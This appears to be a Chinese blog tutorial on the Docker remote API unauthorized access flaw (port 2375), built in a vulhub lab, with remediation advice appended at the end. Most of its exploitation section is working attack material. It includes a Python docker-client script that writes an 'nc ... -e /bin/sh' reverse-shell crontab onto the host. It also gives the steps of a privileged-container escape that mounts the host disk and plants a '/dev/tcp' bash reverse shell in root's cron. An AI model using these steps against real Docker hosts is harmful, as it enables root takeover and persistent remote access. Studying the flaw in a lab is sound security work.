Docker API 未授权访问漏洞

本文揭示了Docker API的未授权访问漏洞,通过搭建环境、验证漏洞并提供两种利用方式,包括反弹shell和远程容器操作,演示了如何在不授权情况下获取服务器Root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Docker API 未授权访问漏洞

1、漏洞简介
在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
2、漏洞原理
利用 Docker 节点上开放的 TCP 端口 2375 远程执行 Docker 命令,进而可获取服务器 Root 权限。
3、漏洞环境搭建
这里我们直接使用 vluhub 环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

4、漏洞验证
访问 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞
在这里插入图片描述
5、利用方式

5.1 第一种反弹shell方法
(1)在攻击机上安装docker环境

apt-get install docker docker-compose
service docker start

(2)接下来使用攻击脚本,详情如下:

import docker

client = docker.DockerClient(base_url='http://192.168.0.115:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.161 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

以上脚本意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell

(3)然后在kali上执行 python 脚本反弹Shell给攻击机,执行完脚本,反弹shell成功!
在这里插入图片描述

这里我们反弹到了Docker机器的shell
注意:此python脚本针对 centos系统可以反弹shell,ubuntu系统不反弹!

5.2 第二种getshell方法

(1)因docker 有远程连接命令,由于2375端口暴露,可未授权访问,所以现在可以在机器上通过远程方式连接doker

docker -H tcp://192.168.0.115:2375 ps  #查看远程机器上的正在运行的docker镜像
docker -H tcp://192.168.0.115:2375 images

在这里插入图片描述

链接进去之后,发现没有镜像文件,那么去官方下载一个镜像文件 alpine

docker -H tcp://192.168.0.115:2375 pull alpine

在这里插入图片描述

接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.0.115:2375 images
docker -H tcp://192.168.0.115:2375 run -it --privileged alpine  bin/sh

在这里插入图片描述

在kali中启动一个有交互的shell,并且是特权镜像 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限

进入容器后,使用fdisk -l命令查看磁盘文件

注意:在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

从返回的type信息中可以判断出,/dev/sda1是主分区,那么接下里直接在容器内部挂载宿主机磁盘

新建一个目录:mkdir test
挂在磁盘到新建目录:mount dev/sda1 test
进入目录:cd test/
新建文件:touch test.txt   写入123测试:

在这里插入图片描述

接下里看一下靶机中确实创建了 test.txt 文件,docker逃逸成功
在这里插入图片描述
接下来可以反弹主机shell
创建 test.sh 文件且写入反弹 shell

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i  >&/dev/tcp/192.168.0.161/6666 0>&1"

之后给 test.sh 添加执行权限,并且写入到定时任务中

chmod +x test.sh 

echo '*/1 * * * *  /test.sh' >> /test/var/spool/cron/crontabs/root #每分钟执行一次test.sh文件

攻击机打开监听端口,等待片刻后成功返回 shell(注:宿主机docker版本为18.09.9,否则以上逃逸无效)

### Docker 2375端口未授权访问漏洞 #### 原因分析 Docker守护进程默认情况下会在TCP端口2375上提供远程API接口,如果此端口暴露于公共网络而没有适当的身份验证机制,则可能导致未经授权的用户能够连接到Docker引擎并执行各种操作。当配置不当或安全措施不足时,攻击者可以利用这一弱点来获取敏感信息甚至控制主机系统[^1]。 #### 影响范围 一旦存在这样的漏洞,潜在的影响非常严重。攻击者可以通过发送特定请求给目标服务器上的Docker服务来进行恶意活动,比如启动新的容器实例、下载镜像文件或是查看当前运行中的容器列表等。更糟糕的是,由于这些行为都是通过合法的服务通道完成的,因此很难被传统的防火墙所阻止。此外,对于那些启用了Swarm模式的环境来说,整个集群都可能受到威胁,因为管理节点之间的通信也是基于同样的API实现的[^2]。 #### 修复建议 为了防止此类安全隐患的发生,应当采取如下预防措施: - **启用TLS加密**:确保所有的API调用都被强制要求经过SSL/TLS协议传输,并且只接受来自已知客户端证书的连接尝试。 - **设置访问权限**:为不同的用户提供最小化的角色定义以及细粒度的操作许可策略;同时考虑部署额外的安全层如OAuth2.0或其他形式的身份认证框架。 - **限制公开暴露**:除非绝对必要,否则不应将Docker Engine监听地址绑定至外网可到达的位置。理想状态下应该仅限局域网内部机器间通讯或者借助反向代理等方式间接对外开放部分功能。 - **定期更新软件版本**:保持官方发布的最新稳定版安装包处于可用状态,及时修补已知缺陷以减少风险敞口。 ```bash # 修改docker.service文件中ExecStart参数添加选项-H unix:///var/run/docker.sock -H tcp://0.0.0.0:2376 --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem sudo systemctl daemon-reload && sudo systemctl restart docker ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值